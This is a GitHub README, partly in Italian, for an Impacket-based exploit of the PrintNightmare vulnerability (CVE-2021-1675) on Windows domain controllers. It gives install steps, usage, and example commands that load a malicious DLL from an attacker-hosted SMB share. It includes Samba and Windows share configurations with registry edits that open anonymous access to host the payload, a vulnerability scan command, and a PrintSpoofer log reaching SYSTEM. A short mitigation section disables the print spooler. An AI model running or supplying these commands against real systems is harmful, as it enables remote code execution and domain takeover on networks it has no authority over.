puckiestyle/cve-2021-1675Exploit basato su Impacket per CVE-2021-1675 (PrintNightmare) che consente l'esecuzione remota o locale di DLL sui controller di dominio Windows, con hosting del payload SMB e scansione delle vulnerabilità.
Implementazione Impacket del PoC PrintNightmare creato originariamente da Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)
Testato su un Domain Controller 2019 completamente patchato
Esegue DLL dannose in remoto o in locale
Prima di eseguire l'exploit devi installare la mia versione di Impacket e poi sei a posto
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
Esempio; ./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\192.168.1.215\smb\addCube.dll' ./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
Il modo più semplice per ospitare payload è usare samba e modificare /etc/samba/smb.conf per consentire l'accesso anonimo
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
Da Windows è anche possibile
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
Possiamo usare rpcdump.py di impacket per scansionare gli host vulnerabili; se restituisce un valore, è vulnerabile
rpcdump.py @192.168.1.10 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
Disattiva il servizio Spooler
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start " /t REG_DWORD /d "4" /f
Oppure disinstalla Print-Services
Uninstall-WindowsFeature Print-Services
Il vecchio metodo: c:\inetpub\wwwroot\nt4wrksv>PrintSpoofer.exe -i -c cmd PrintSpoofer.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami nt authority\system
C:\Windows\system32>